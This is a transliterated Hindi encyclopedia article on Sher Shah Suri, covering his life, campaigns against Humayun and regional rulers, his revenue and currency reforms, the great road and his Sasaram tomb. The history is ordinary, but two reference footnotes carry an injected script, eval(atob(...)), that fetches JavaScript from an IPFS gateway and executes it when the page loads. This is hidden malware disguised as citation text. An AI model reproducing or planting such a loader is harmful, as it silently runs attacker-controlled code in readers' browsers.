शेरशाह सूरी
sherashah soori
| |
| poora nam | sherashah soori |
| any nam | farid khaan, sher khaan |
| janm | sanh 1485-86[1] ya 1472[2] |
| janm bhoomi | hisar, firoja, hariyana[1] athava sasaram, bihar[2] |
| mrityu tithi | 22 mee, 1545 |
| mrityu sthan | bundelakhand |
| pita/mata | hasan khaan |
| santan | jalal khaan (islamashah soori) |
| upadhi | sherashah |
| rajy sima | uttar madhy bharat |
| shasan kal | 17 mee 1540 - 22 mee 1545 |
| sha. avadhi | 5 varsh |
| rajyabhishek | 17 mee 1540 |
| dharmik manyata | islam dharm |
| yuddh | chausa ka yuddh, bilagram ki l daee |
| poorvadhikari | humayooan |
| uttaradhikari | islamashah soori |
| vansh | soor vansh |
| maqabara | sherashah ka maqabara |
| sanbandhit lekh | sherashah soori samrajy |
| any janakari | sherashah soori, pahala muslim shasak tha, jisane yatayat ki uttam vyavastha ki aur yatriyoan evan vyapariyoan ki suraksha ka santoshajanak prabandh kiya. |
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sherashah soori (aangrezi: Sher Shah Suri, janm: 1485-86 hisar[1] athava 1472 sasaram[2] - mrityu: 22 mee 1545 bundelakhand) ka vastavik nam 'farid khaan' tha. sherashah soori ka bharat ke itihas mean vishesh sthan hai. sherashah, soor samrajy ka sansthapak tha. isake pita ka nam hasan khaan tha. sherashah ko sher khaan ke nam se bhi jana jata hai. itihasakaroan ka kahana hai ki apane samay mean atyant dooradarshi aur vishisht soojhaboojh ka adami tha. isaki visheshata isalie adhik ullekhaniy hai ki vah ek sadharan jagidar ka upekshit balak tha. usane apani virata, adamy sahas aur parishram ke bal par dilli ke sianhasan par qabza kiya tha.
janm aur bachapan
sherashah soori ke janm tithi aur janm sthan ke vishay mean itihasakaroan mean matabhed haian. kuchh itihasakaroan ne isaka janm sanh 1485-86, hisar, firoja hariyana[1] mean aur kuchh sanh 1472, sasaram bihar[2] mean batalaya hai. ibrahim khaan ke pautr aur hasan ke pratham putr farid (sherashah) ke janm ki tithi aangrez itihasakar ne sanh 1485-1486 bataee hai. sherashah soori par vishesh khoj karane vale bharatiy vidvan shri kalika ranjan qanoonago ne bhi farid ka janm sanh 1486 mana hai. hasan khaan ke ath l dake the. farid khaan aur nizam khaan ek hi afagan mata se paida hue the. ali aur yoosuph ek mata se. khurram (kuchh granthoan mean yah nam mudahir hai) aur shakhi khaan ek any maan se aur suleman aur ahamad chauthi maan se utpann hue the. farid ki maan b di sidhi-sadi, sahanashil aur buddhiman thi. farid ke pita ne is vivahita patni ke atirikt any tin dasiyoan ko haram mean rakh liya tha. bad mean inhean patni ka sthan prapt hua. farid aur nizam ke atirikt shesh chhah putr inhian ki santan the. kuchh samay bad hasan khaan, farid aur nizam ki maan se udasin aur dasiyoan ke prati asakt rahane laga. vah suleman aur ahamad khaan ki maan ke prati vishesh asakt tha. vah ise adhik chahane laga tha. hasan ki yah chaheti (suleman aur ahamad khaan ki maan) farid aur nizam ki maan se jalati thi, kyoanki sabase b da hone ke karan farid jagir ka hakadar tha. is paristhiti mean farid ka dukhi hona svabhavik hi tha. pita usaki or se udasin rahane laga.[3]
buland hausala
farid khaan bachapan se hi b de hausale vala iansan tha. usane apane pita se agrah kiya ki mujhe apane masanadeali umar khan ke pas le chaliye aur prarthana kijiye ki vah mujhe mere yogy koee kam dean. pita ne putr ki bat yah kahakar tal di ki abhi tum bachche ho. b de hone par tumhean le chalooanga. kiantu farid ne apani maan se agrah kiya aur apane pita ko is bat ke lie raji kiya. hasan, farid ko umar khan ke pas le gaya. umar khan ne kaha ki b da hone par ise maian koee n koee kam dooanga, kiantu abhi ise mahabali (isaka doosara nam hani hai) gram ka balahoo namak bhag jagir ke roop mean deta hooan. farid ne b di prasannata se apani maan ko isaki soochana di.[3]
parivarik vivad
pita aur sherashah ke apasi sambandh katu hote ja rahe the. is karan kautuanbik vivad kh da hone laga. is vivad ka ek achchha phal bhi hua. pita ki udasinata, vimata ki nishthurata mata ki ganbhirata aur parivar mean badhate hue vidveshamay vatavaran se balak farid khaan (sherashah) shuroo se hi ganbhir, dridhanishchayi aur atmanirbhar hone laga. yadyapi naranaul se sahasaram aur khavasapur pahuanchakar tatha vahaan b di jagir pa jane se hasan khaan ka darja badh gaya tha, tathapi farid aur nizam tatha inaki mata ke prati hasan ke vyavahar mean avanati hi hoti gee. bap-bete ka sambandh din par din big data hi gaya. farid rusht hokar jaunapur chala gaya aur svayan jamal khaan ki seva mean upasthit ho gaya. jab hasan khaan ko pata chala ki farid jaunapur chala gaya hai, tab use yah bhay hua ki kahian vah jamal khaan se meri shikayat n kar de. atah usane jamal khaan ko patr likha ki, "farid mujhase rusht hokar apake pas chala gaya hai. kripaya use manakar mere pas bhej dene ka kasht karean. yadi vah apake kahane par bhi ghar vapas ane ke lie taiyar n ho to, ap use apani seva mean rakhakar usake lie dharmik achar shastr ki shiksha ka prabandh karane ki anukanpa karean". [4]
bahalol ki mrityu
bahalol ki mrityu ho jane par sikandar lodi dilli ke sianhasan par baitha. usane apane bhaee baibak khan (barabak khan) se jaunapur sooba (tatkalin)[5] jit liya. usane jamal khan ko jaunapur ka shasak niyukt kiya aur use adesh diya ki vah 12 hazar ghu dasavaroan ki vyavastha karake unamean jaunapur ke soobe ko jagiroan ke roop mean baant dean. jamal khan, hasan khan ko jisaki seva se vah bahut prasann tha, jaunapur le aya aur use 500 ghu dasavaroan ki sena ki vyavastha ke lie banaras ke samip sahasaram, hazipur aur taanda ki jagirean pradan kar dian.[3]
humayuan aur sherashah
agara mean humayooan ki anupasthiti ke dauran (faravari, 1535-1537 tak) sherashah ne apani sthiti aur mazaboot kar li thi. vah bihar ka nirvirodh svami ban chuka tha. nazadik aur pas ke afagan usake netritv mean ikatthe ho gaye the. halaanki vah ab bhi mugaloan ke prati vafadari ki bat karata tha, lekin mugaloan ko bharat se nikalane ke lie usane khoobasoorati se yojana banayi. bahadur shah se usaka gahara sampark tha. bahadur shah ne hathiyar aur dhan adi se usaki bahut sahayata bhi ki thi. in srotoan ke upalabdh ho jane se usane ek kushal aur brihad sena ekatr kar li thi. usake pas 1200 hathi bhi the. humayooan ke agara lautane ke kuchh hi din bad sherashah ne apani sena ka upayog bangal ke sultan ko harane mean kiya tha aur use turant 1,300,000 dinar (svarn mudra) dene ke lie vivash kiya tha.
ek nayi sena ko lais karake humayooan ne varsh ke ant mean chunar ko gher liya. humayooan ne socha tha ki, aise shaktishali qile ko pichhe chho dana uchit nahian hoga, kyoanki isase usaki rasad ke marg ko khatara ho sakata tha. lekin afaganoan ne dridhata se qile ki raksha ki. kushal topachi roomi khaan ke prayatnoan ke bavajood humayooan ko chunar ka qila jitane mean chhah mahine lag gaye. isi dauran sherashah ne dhokhe se rohatas ke shaktishali qile par adhikar kar liya. vahaan vah apane parivar ko surakshit chho d sakata tha. phir usane bangal par dubara akraman kiya aur usaki rajadhani gau d par adhikar kar liya.
chauansa evan bilagram ke yuddh
1539 ee. mean chauansa ka evan 1540 ee. mean bilagram ya kannauj ke yuddh jitane ke bad sherashah 1540 ee. mean dilli ki gaddi ki par baitha. uttar bharat mean dvitiy afagan samrajy ke sansthapak sher khaan dvara babar ke chaderi abhiyan ke dauran kahe gaye ye shabd aksharashah saty siddh hue, “ ki agar bhagy ne meri sahayata ki aur saubhagy mera mitr raha, to mai mugaloan ko saralata se bharat se bahar nikala dooanga.” chauansa yuddh ke pashchath sher khaan ne ‘sherashah’ ki upadhi dharan kar apana rajyabhishek karavaya. kalantar mean isi nam se khutabe (upadesh ya prashansatmak rachana) padhavaye evan sikke dhalavaye. jis samay sherashah dilli ke sianhasan par baitha, usake samrajy ki simayean pashchim mean kannauj se lekar poorab mean asam ki paha diyoan evan chatagaanv tatha uttar mean himalay se lekar dakshin mean jharakhand ki paha diyoan evan bangal ki kha di tak phaili huee thi.
gakkharoan se yuddh
1541 ee. mean sherashah soori ne gakkharoan ko samapt karane ke lie ek abhiyan kiya. vah gakkharoan ko isalie samapt karana chahata tha kyoanki, yah jati aye din mugaloan ki sahayata kiya karati thi. sherashah gakkhar jati ko samapt karane ke apane lakshy ko to poora nahian kar saka, lekin phir bhi vah gakkharoan ki shakti ko kam karane mean avashy saphal raha. sherashah ne apani uttari-pashchimi sima ko surakshit karane ke lie ek shaktishali ‘rohatasagadh’ namak qile ka nirman karavaya. haibat khaan evan khavas khaan ke pratinidhitv mean sherashah ne yahaan par ek afagan sainik tuk di ko niyukt kar diya.
bangal ka vidroh (1541 ee.)
bangal ka soobedar khizr khaan, jo ek svatantr shasak ki tarah vyavahar kar raha tha, ke vidroh ko kuchalane ke lie sherashah bangal aya. usane khizr khaan ko bandi bana liya. bhavishy mean dobara bangal mean vidroh ko rokane ke lie sherashah ne yahaan ek navin prashasanik vyavastha ko prarambh kiya, jisake antargat poore bangal ko kee sarakaroan (ziloan) mean baant diya gaya aur sath hi pratyek sarakar mean ek chhoti sena ke sath ‘shiqadar’ (kisi shretr vishesh ka adhikari) niyukt kar diya gaya. shiqadaroan ko niyantrit karane ke lie ek gair sainik adhikari ‘amin-e-bangala’ ki niyukti ki gee. sarvapratham yah pad ‘qazi fajilat’ nam ke vyakti ko diya gaya.
malava (1542 ee.)
gujarat ke shasak bahadur shah ke marane ke bad malava ke soobedar malloo khaan ne apane ko ‘kadir shah’ ke nam se malava ka svatantr shasak ghoshit kar liya. usane apane nam se sikke dhalavaye evan 'khubate' (upadesh ya prashansatmak rachana) padhavaye. sherashah malava ko apane adhin karane ke lie kadir shah par akraman karane ke lie age badha aur aprail, 1542 ee. mean raste mean hi sherashah ne gvaliyar ke qile par adhikar kar vahaan ke shasak pooranamal ko apane adhin kar liya. kadir shah ne sherashah se bhayabhit hokar sarangapur mean usake samaksh atm samarpan kar diya. usake samarpan ke bad maandoo, ujjain evan sarangapur par sherashah ka qabza ho gaya. sherashah ne bhadrata ka parichay dete hue kadir shah ko lakhanauti v kalapi ka garvanar niyukt kiya, parantu kadir shah, sherashah se darakar apane parivar ke sath gujarat ke shasak mahamood tritiy ki sharan mean chala gaya. sherashah ne sujat khaan ko malava ka garvanar niyukt kar vapas jate samay ‘ranathambhaur’ ke shaktishali qile ko apane adhin kar putr adil khaan ko vahaan ka garvanar bana diya.
rayasin (1543 ee.)
rayasin ke shasak pooranamal dvara 1542 ee. mean sherashah ki adhinata svikar karane ke bad bhi sherashah ke lie rayasin par akraman karana isalie avashyak ho gaya tha, kyoanki vahaan ki muslim janata ko pooranamal se b di shiqayat thi. sath hi rayasin ki sampannata bhi akraman ka ek karan thi. 1543 ee. mean rayasin ke qile par ghera dala gaya. kee mahine tak ghera dale rahane par bhi sherashah ko saphalata nahian mili. antatah sherashah ne chalaki se pooranamal ko usake atm-samman evan jivan ki suraksha ka vayada kar atm-samarpan hetu taiyar kar liya. kutub khaan aur adil khaan is shart ke gavah bane. parantu rayasin ke musalamanoan ke punah dabab ke karan rajapootoan ko dand dene ke lie sherashah ne ek rat rajapootoan ke khemoan ko charoan or se ghera liya. apane ko ghira hua pakar pooranamal evan usake sipahiyoan ne bahaduri se l date hue pranotsarg kar diya tatha unaki striyoan ne ‘jauhar’ kar liya. sherashah dvara kiya gaya yah vishvasaghat usake vyaktitatv par kala dhabba hai. is vishvasaghat se kutub khaan itana ahat hua ki usane atmahatya kar li.
sindh evan multan (1543 ee.)
sherashah ne haivat khaan ke netrit mean siandh tatha multan ke vidrohiyoan bakhsoo langah evan phateh khaan par vijay prapt ki. sherashah ne multan mean phateh khaan evan siandh mean islam khaan ko soobedar niyukt kiya.
maladev se yuddh (1544 ee.)
maladev, marava d (rajasthan) par shasan kar raha tha. usaki rajadhani jodhapur thi. usaki badhati shakti se sherashah ko eeshrya thi. atah bikaner naresh kalyanamal evan ‘medata’ ke shasak viramadev ke amantran par sherashah ne maladev ke viruddh abhiyan kiya. donoan senayean ‘bhal’ namak sthan par ek doosare ke sammukh upasthit huee. yahaan bhi sherashah ne kootaniti ka sahara lete hue maladev ke shivir mean yah bhraanti phaila di ki, usake saradar usake sath nahian haian. isase maladev ne nirash hokar bina yuddh kiye vapas hone ka nirnay kar liya. phir bhi usake ‘jayata’ evan ‘kumpa’ nam ke saradaroan ne apane oopar kiye gaye avishvas ko mitane ke lie sherashah ki sena se takkar li, parantu ve viragati ko prapt hue. is yuddh ko jitane ke bad sherashah ne kaha ki, "mai mutthi bhar bajare ke lie hindustan ke samrajy ko prayah kho chuka tha." sherashah ne bhagate hue maladev ka pichha karate hue ajamer, jodhapur, nagaur, me data evan aboo ke qiloan ko adhikar mean kar liya. sherashah ki yah vijay usake marane ke bad sthayi nahian rah saki. abhiyan se vapas ate samay sherashah ne meva d ko bhi apane adhin kar liya. jayapur ke kachhavah rajapoot saradaroan ne bhi sherashah ki adhinata svikar kar li. is prakar rajasthan usake niyantran mean a gaya.
hindoo mitrata ki niti
[[chitr:Shershah Tomb2.jpg|thumb|200px|sherashah soori ka maqabara, sasaram bihar]] dilli ke sultanoan ki hindoo virodhi niti ke khilaf usane hinduoan se mitrata ki niti apanayi. jisase use apani shasan vyavastha sridridh karane mean sahayata mili. usaka divan aur senapati ek hindoo saradar tha, jisaka nam hemoo (hemachandr) tha. usaki sena mean hindoo viroan ki sankhya bahut thi. usane apane rajy mean shaanti sthapit kar janata ko sukhi aur samriddh banane ke prayas kiye. usane yatriyoan aur vyapariyoan ki suraksha ka prabandh kiya. lagan aur malaguzari vasool karane ki santoshajanak vyavastha ki. sherashah soori ke faraman farasi bhasha ke sath nagari aksharoan mean bhi hote the. vah pahala badashah tha, jisane bangal ke sonagaanv se siandhu nadi tak do hazar mil lambi pakki s dak banavaee thi. us s dak par ghu dasavaroan dvara dak lane−le−jane ki vyavastha thi. yah marg us samay 's dak-e-azam' kahalata tha. bangal se peshavar tak ki yah s dak 500 kos (shuddh= krosh) ya 2500 kilo mitar lambi thi. sherashah ne is s dak par yatriyoan ki suvidha ke lie pratyek kos par kos minar banavayian, jahaan par thaharane ke lie saray aur pani ka bandobast rahata tha. sherashah ka bhatija adali tha, jo sherashah ke putr aur uttaradhikari islamashah ke bad 1554 ee. mean gaddi par baitha tha. yahaan ek bindu smaraniy yah hai ki sherashah ne afaganoan ke dabab ke karan hinduoan se jaziya kar ko samapt nahian kiya tha.
kalianjar abhiyan evan mrityu (1545 ee.)
yah abhiyan sherashah ka antim sainy abhiyan tha. kalianjar ka shasak kirat sianh tha. usane sherashah ke adesh ke viparit ‘riva’ ke maharaja virabhan sianh baghela ko sharan de rakhi thi. is karan se navambar, 1544 ee. mean sherashah ne kalianjar qile ka ghera dal diya. lagabhag 6 mahine tak qile ko ghere rakhane ke bad bhi saphalata ke asar n dekh kar sherashah ne qile par gola, barud ke prayog ka adesh diya. aisa mana jata hai ki, qile ki divar se takarakar laute ek gole ke visphot se sherashah ki 22 mee, 1545 ee. ko mrityu ho gee. mrityu ke samay vah ‘ukka’ nam ka ek agneyastr chala raha tha. usake marane se poorv qile ko jit chuka tha. usaki mrityu par itihasakar qanoonago ne kaha, "is prakar ek mahanh rajanitijn evan sainik ka ant apane jivan ki vijayoan ek lokahitakari karyoan ke madhy mean hi ho gaya.”
sherashah ke nirman kary
[[chitr:Shershah Tomb1.jpg|thumb|200px|sherashah soori ka maqabara, sasaram bihar]] sherashah soori ne apane jivan mean anek mahattvapoorn kary sampann kie aur kee prakar ke nirman kary bhi karavae. usake nirman karyoan mean s dakoan, sarayoan evan masjidoan adi ka banaya jana prasiddh hai. vah pahala muslim shasak tha, jisane yatayat ki uttam vyavastha ki aur yatriyoan evan vyapariyoan ki suraksha ka santoshajanak prabandh kiya. usane bangal ke sonagaanv se lekar panjab mean siandhu nadi tak, agara se rajasthan aur malava tak pakki s dakean banavaee thian. s dakoan ke kinare chhayadar evan phal vale vriksh lagaye gaye the, aur jagah-jagah par saray, masjid aur kuoan ka nirman karaya gaya tha. brajamandal ke chaumuhaan gaanv ki saray aur chhata gaanv ki saray ka bhitari bhag usi ke dvara nirmit haian. dilli mean usane 'shahar panah' banavaya tha, jo aj vahaan ka 'lal daravaza' hai. dilli ka 'purana qila' bhi usi ke dvara banavaya mana jata hai.
sahity premi
sherashah soori ne kee darshanikoan ke granth padhe. usane sikandaranama, gulistaan aur bostaan adi granthoan ko kanthasth kar liya. samrat ban jane ke bad bhi usaki dilachaspi itihas ke granthoan aur prachin shasakoan ke jivanacharitoan ke prati barabar bani rahi. pustakoan mean likhi batoan ko vah jivan mean utarane ka saphalatapoorvak prayas karata tha.
shri kalikaranjan qanoonago ne likha hai :- ‘‘bachapan mean usane sahity ka jo adhyayan kiya, usane us sainik jivan ke marg se use prithakh kar diya, jis par shivaji, haidar ali aur ranajit sianh jaise nirakshan vir sadharan paristhiti se ooanche uthakar raja ki maryada prapt kar lete haian. bharat ke itihas mean hamean doosara koee vyakti nahian milata, jo apane praranbhik jivan mean sainik rahe bina hi ek rajy ki nianv dalane mean samarth hua ho.’[3]
darshanikoan ke vichar
"malik muhammad jayasi", "farishta" aur "badayooanni" ne sherashah ke shasan ki b di prashansa ki hai. badayooanni ne likha hai ki-
- bangal se panjab tak tatha agara se malava tak s dak par donoan or chhaya ke lie phal vale vriksh lagaye gaye the.
- kos−kos par ek saray, ek masjid aur kuane ka nirman kiya tha.
- masjid mean ek imam aur ajan dene vala ek mulla tha.
- nirdhan yatriyoan ka bhojan banane ke lie ek hindoo aur musalaman naukar tha.
- 'prabandh ki yah vyavastha thi ki, bilkul ashakt buddha asharphiyoan ka thal hath par liye chala jay aur jahaan chahe vahaan p da rahe. chor ya lutere ki majal nahian ki, aankh bhar kar usaki or dekh sake.
uttaradhikari
sherashah ki mrityu ke uparant 1545 ee. mean usaka putr 'jalal khaan' 'islamashah' ki upadhi dharan kar sultan bana. adil khaan ko parast kar evan samrajy mean saradaroan ke vidrohoan ka daman kar usane sultan ke samman aur shakti mean vriddhi ki aur afaganoan ki svatantr prakriti ko poornataya daba diya. islam shah ke samay mean prantiy soobedar sultan ka to kya sultan ke jootoan ka bhi samman karate the. usane 1553 ee.tak shasan kiya. shasan vyavastha mean islamashah ne apekshit sudhar kiye. uttar pashchim ki sima ki suraksha ke lie vahaan paanch qile kh de kiye. ye qile 'sheragadh', 'islamagadh', 'rasidagadh', 'firojagadh' aur 'manakot' mean the. inako sammilit roop se ‘manakot ke qile’ kaha jata hai.
dilli par humayooan ka adhikar
islamashah ke shasan sanbandhi sudharoan mean sabase mahattvapoorn sudhar vibhinn qanoonoan ka nirman aur unaka sabhi sthanoan par lagoo kiya jana tha. islamashah ke pashchath usake uttadhikariyoan ke samay soor-samrajy 5 bhagoan mean bant gaya. soor-samrajy ki apasi kalah ka labh uthakar humayooan ne bharat par akraman kar "machchhivara" aur "sarahind" ke yuddhoan ko jitakar 1555 ee. mean dilli par adhikar kar liya.
sherashah ki prashasan-vyavastha
[[chitr:Kos-Minar-.jpg|thumb|kos minar]] sherashah ko vyavastha sudharak ke roop mean mana jata hai, vyavastha pravartak ke roop mean nahi. sherashah ka shasan atyadhik kendrikrit tha. sampoorn samrajy ko 47 sarakaroan (ziloan) mean baant diya gaya tha. d aau. qanoon goan ke anusar- "usake prantiy shasan mean sarakar se ooancha vibhajan nahian kiya gaya tha, aur prant evan sooboan jaisi shasan ki koee eekaee nahian thi. paramatma saran, qanoon goan ke vicharoan se asahamati vyakt karate haian. pratyek sarakar mean do pramukh adhikari hote the- 'shiqadar-e-shiqadaroan' (shiqadar=kisi shretr-vishesh ka adhikari), aur 'mussiph-e-mussiphaan'. pratyek saradar kee paraganoan mean bante the. pratyek paragane mean ek shiqadar, ek munsiph, ek 'fotadar' (khazaanchi, tahasiladar) aur do 'karakun' (karyakarta, kam karane vala, karmachari) hote the.
'sherashah soori ek aisa vyakti tha, jo zamini star se uth kar shanhashah bana. zamini star ka yah shanhashah apane alp shasanakal ke dauran hi janata se ju de adhikaansh muddo ko hal karane ka prayas kiya. halaanki sherashah soori ka yah durbhagy raha ki use bharatavarsh par kafi kam samay shasan karane ka avasar mila. isake bavajood usane rajasv, prashasan, krishi, parivahan, sanchar vyavastha ke lie jo kam kiya, jisaka anusaran aj ka shasak varg bhi karata hai. sherashah soori ek shanadar rananitikar, adhunik bharatavarsh ke nirman mean mahattvapoorn bhoomika nibhane vala mahanh shasak ke rup mean najar aega. jisane apane sankshipt shasanakal mean shanadar shasan vyavastha ka udaharan prastut kiya. sherashah soori ne bharatavarsh mean aise samay mean sudhridh nagarik evan sainy vyavastha sthapit ki jab gupt kal ke bad se hi ek mazaboot rajanitik vyavastha evan shasak ka abhav-sa ho gaya tha. sherashah soori ne hi sarvapratham apane shasan kal mean aj ke bharatiy mudra rupaya ko jari kiya. isilie itihasakar sherashah soori ko adhunik rupaya vyavastha ka agradoot bhi manate hai. mauryoan ke patan ke bad patana punah prantiy rajadhani bani, atah adhunik patana ko sherashah dvara basaya mana jata hai.'[6]
vitt vyavastha
sherashah ki vitt vyavastha ke antargat sarakari ay ka sabase b da srot zamin par lagane vala kar tha, jise ‘lagan’ kahate the. sherashah ki lagan vyavastha 'raiyatava di vyavastha' par adharit thi, jisamean kisanoan se pratyaksh sampark sthapit kiya jata tha. sthaniy ay, jise kee prakar ke karoan se ekatr karate the, use ‘abavas’ kaha jata tha. sherashah ke samay mean bhoomi tin vargoan achchhi, sadharan evan kharab mean vibhajit thi. paidavar ka lagabhag ek tihaee bhag sarakari lagan ke roop mean liya jata tha. keval multan mean upaj ka 1/4 bhag lagan ke roop mean liya jata tha. lagan nagad roop mean vasoola jata tha, par nagad mean lena adhik pasand kiya jata tha. lagan nirdharan hetu tin pranaliyaan prachalan mean thian-
- bataee ya galla bakshi
- nashk ya muktaee ya kanakoot aur
- nagadi ya jabti ya jami.
in tinoan pranaliyoan mean kisanoan dvara nagadi v jamaee vyavastha ko adhik saraha jata tha. tin prakar ki 'bataee', 'khet bataee', 'lank bataee' evan 'ras-bataee' ka bhi prachalan tha. kisanoan ko sherashah ke shasan kal mean 'jaribana' ya 'sarvekshan shulk' evan ‘muhasilana’ ya 'kar sangrah shulk' bhi dena p data tha, jinaki darean kramashah bhoorajasv ki 2.5 pratishat evan 5 pratishat thi. isake alava pratyek kisan ko poori lagan par 2.5 pratishat atirikt kar dena hota tha. sherashah ne krishi yogy bhoomi aur parati bhoomi donoan ki nap karavaee. is kary ke lie usane ahamad khaan ki sahayata li. sherashah dvara prachalit 'raiyatava di vyavastha' multan ko chho dakar rajy ke lie sabhi bhagoan mean lagoo thi. multan mean sherashah ne rajasv nirdharan aur sangrah ke lie pahale se chali a rahi bataee (hissedari) vyavastha ko hi prachalan mean rahane diya tatha vahaan se utpadan ka 1/4 bhag lagan vasool kiya, jo anyatr prachalit nahian tha.
- sherashah ne bhoomi ki map ke lie 32 aank vala ‘sikandarigaj’ evan ‘san ki dandi’ ka prayog kiya.
'shasan sudhar ke kshetr mean bhi sherashah ne ek janahitakari vyavastha ki sthapana ki, jisase kafi kuchh akabar ne bhi sikha tha. shasan ke suvidhajanak prabandh ke lie usane sare samrajy ko 47 bhagoan mean baanta tha, jise 'prant' kaha jata hai. pratyek prant sarakar, paragane tatha gaanv paragane mean bante the. kafi kuchh yah vyavastha aj ki prashasanik vyavastha se milati hai. sherashah ke shasan kal ki bhoomi vyavastha atyant hi utkrisht thi. usake shasanakal mean mahanh bhoo-visheshajn 'todaramal khatri' tha, jisane age chalakar akabar ke sath bhi kary kiya. sherashah ne bhoomi sudhar ke anek kary kie. usane bhoomi ki nap karaee, bhoomi ko bighoan mean baanta, upaj ka 3/1 bhag bhoomikar ke lie nirdharit kiya. usane bhoomikar ko anaj evan nakad donoan roop mean lene ki pranali vikasit karaee. patte par malagujari likhane ki vyavastha ki gee. kisanoan ko yah suvidha di gee ki ve apana bhoomikar svayan rajakosh mean jama kar sakate the. akabar ke shasanakal ki bhoomi vyavastha kafi kuchh isi par adharit thi. bad mean aangrejoan ne bhi ise hi chaloo rakha.'[7]
mudra-sudhar
sherashah ka doosara mahattvapoorn sudhar mudra mean sudhar tha. usane sone, chaandi evan taanbe ke akarshak sikke chalavaye. kalantar mean in sikkoan ka anukaran mugal samratoan ne kiya. sherashah ne 167 gren sone ki asharaphi, 178 gren ka chaandi ka rupaya evan 380 gren taanbe ka ‘dam' chalavaya. usake shasan kal mean kul 23 takasalean thi. usane apane sikkoan par apana nam, pad evan takasal ka nam arabi bhasha evan devanagari lipi mean khudavaya. sherashah ke rupaye ke vishay mean smith ne kaha ki, "yah rupaya vartaman british mudra pranali ka adhar hai".
parivahan vyavastha
sherashah soori ke shasanakal ki sabase b di visheshata usaki parivahan vyavastha hai. s dakean kisi bhi rashtr ke vikas vyavastha ki dhuri mani jati haian. sherashah soori ne isake mahatv ko jana aur apane samay se age sochakar itihas mean amar ho ge. sherashah soori ne bangal ke sonagaanv se siandh nadi tak do hazar mil lanbi pakki s dak banavaee, jisase yatayat ki uttam vyavastha ho sake. sath hi usane yatriyoan evan vyapariyoan ki suraksha ke lie bhi santoshajanak prabandh kiya. graand trank rod ka nirman karavana sherashah soori ke vilakshan soch ka parinam hai. yah s dak sadiyoan se desh vikas mean aham bhoomika nibha rahi hai. usane s dakoan par mil ke patthar lagavae. usane dak vyavastha ko sahi kiya aur ghu dasavaroan dvara dak ko lane−le−jane ki vyavastha ki. usake adesh pharasi ke sath nagari aksharoan mean bhi hote the. usane anek bhavanoan jisamean 'rohatasagadh ka qila', apana 'maqabara', dilli ka 'purana qila' ka nirman karaya. sherashah ne s dakoan ke kinare chhayadar evan phal vale vriksh lagavaye, aur jagah-jagah par saray, masjid aur kuoan ka nirman karaya. dilli mean usane shaharapanah banavaya tha, jo aj vahaan ka 'lal daravaza hai.
sthapaty kala
vah kshetr jisamean sherashah ka yogadan nissandeh hi avismaraniy hai, vah hai- "sthapaty kala ka kshetr". usake dvara ‘sasaram’ mean jhil ke andar ooanche tile par nirmit karavaya gaya svayan ka maqabara poorvakalin sthapaty shaili ki parakashtha tatha navin shaili ke prarambh ka dyotak mana jata hai. isake atirikt sherashah ne humayooan dvara nirmit ‘dinapanah’ ko tu davakar usake dhvanshavasheshoan se dilli mean ‘purane qile’ ka nirman karavaya. qile ke andar sherashah ne ‘qila-e-kuhana’ masjid ka nirman karavaya, jise uttar bharat ke bhavanoan mean mahattvapoorn sthan prapt hai. sherashah ne rohatasagadh ke durg evan kannauj ke sthan par ‘sherasoor’ namak nagar basaya. 1541 ee. mean usane pataliputr ko ‘patana’ ke nam se punah sthapit kiya. sherashah ne dilli mean ‘langar’ ki sthapana ki, jahaan par sambhavatah 500 tola sona har din vyay kiya jata tha.
maqabara
sherashah soori ka shahar banaras-kolakata rod par sasaram tha. yahian par usane apane jite ji apana maqabara banavana shuroo kar diya tha. maqabara pattharoan se bana hai. maqabare ke sabase oopari sire se poore sasaram ka drishy saf dikhaee deta hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 tarikhe khan jahan lodi ke anusar
- ↑ 2.0 2.1 2.2 2.3 banglapedia
- ↑ 3.0 3.1 3.2 3.3 pustak sandarbh 'sherashah soori' lekhak 'vidya bhaskar' pej- 2-5
- ↑ pustak sandarbh 'sherashah soori' lekhak 'vidya bhaskar'
- ↑ vartaman mean zila hai.
- ↑ sherashah soori : ek mahanh rashtr nirmata (hindi). . abhigaman tithi: 5mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sherashah soori : ek mahanh rashtr nirmata (hindi). . abhigaman tithi: 5mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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